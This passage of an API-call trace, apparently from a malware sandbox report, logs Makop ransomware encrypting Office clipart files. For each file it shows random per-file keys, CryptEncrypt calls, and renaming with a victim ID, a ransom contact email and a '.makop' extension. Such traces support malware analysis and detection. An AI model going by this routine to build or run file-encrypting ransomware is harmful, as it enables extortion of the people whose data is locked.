SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.143] SetEndOfFile (hFile=0xf0) returned 1 [0136.150] GetProcessHeap () returned 0x48a0000 [0136.150] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.150] GetProcessHeap () returned 0x48a0000 [0136.150] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.150] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.152] CloseHandle (hObject=0xf0) returned 1 [0136.152] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1 [0136.152] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG") returned 63 [0136.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.155] GetProcessHeap () returned 0x48a0000 [0136.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.155] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0136.170] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.170] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.171] GetProcessHeap () returned 0x48a0000 [0136.171] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.171] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.171] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.171] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.171] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.171] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.171] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.172] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.172] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.172] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24d7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x24d7, lpOverlapped=0x0) returned 1 [0136.173] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24e0, dwBufLen=0x24e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24e0) returned 1 [0136.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.174] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x24e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x24e0, lpOverlapped=0x0) returned 1 [0136.174] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x25b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.174] SetEndOfFile (hFile=0xf0) returned 1 [0136.181] GetProcessHeap () returned 0x48a0000 [0136.181] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.181] GetProcessHeap () returned 0x48a0000 [0136.181] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.181] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.184] CloseHandle (hObject=0xf0) returned 1 [0136.184] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1 [0136.184] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF") returned 63 [0136.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.233] GetProcessHeap () returned 0x48a0000 [0136.233] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.233] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.233] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.233] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.317] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.318] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.318] GetProcessHeap () returned 0x48a0000 [0136.318] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.318] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.318] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.318] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.318] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.319] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.319] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.319] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.319] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.319] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ff8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ff8, lpOverlapped=0x0) returned 1 [0136.321] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3000, dwBufLen=0x3000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3000) returned 1 [0136.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3000, lpOverlapped=0x0) returned 1 [0136.321] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.321] SetEndOfFile (hFile=0xf0) returned 1 [0136.344] GetProcessHeap () returned 0x48a0000 [0136.344] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.344] GetProcessHeap () returned 0x48a0000 [0136.344] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.344] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.346] CloseHandle (hObject=0xf0) returned 1 [0136.347] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1 [0136.347] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF") returned 63 [0136.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.348] GetProcessHeap () returned 0x48a0000 [0136.348] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.348] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.348] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.348] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0136.352] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.352] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.352] GetProcessHeap () returned 0x48a0000 [0136.352] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.352] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.352] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.352] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.352] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.353] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.353] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.353] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.353] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.353] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.354] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2e7e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2e7e, lpOverlapped=0x0) returned 1 [0136.355] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e80) returned 1 [0136.355] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.355] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2e80, lpOverlapped=0x0) returned 1 [0136.356] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.356] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.356] SetEndOfFile (hFile=0xf0) returned 1 [0136.363] GetProcessHeap () returned 0x48a0000 [0136.363] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.363] GetProcessHeap () returned 0x48a0000 [0136.363] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.363] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.364] CloseHandle (hObject=0xf0) returned 1 [0136.365] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1 [0136.365] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG") returned 63 [0136.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.366] GetProcessHeap () returned 0x48a0000 [0136.366] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.366] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.366] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.366] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.366] GetProcessHeap () returned 0x48a0000 [0136.366] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.366] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.366] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.366] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.473] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.473] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.473] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.474] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.474] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.474] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.474] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3260, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3260, lpOverlapped=0x0) returned 1 [0136.513] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3260, dwBufLen=0x3260 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3260) returned 1 [0136.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, 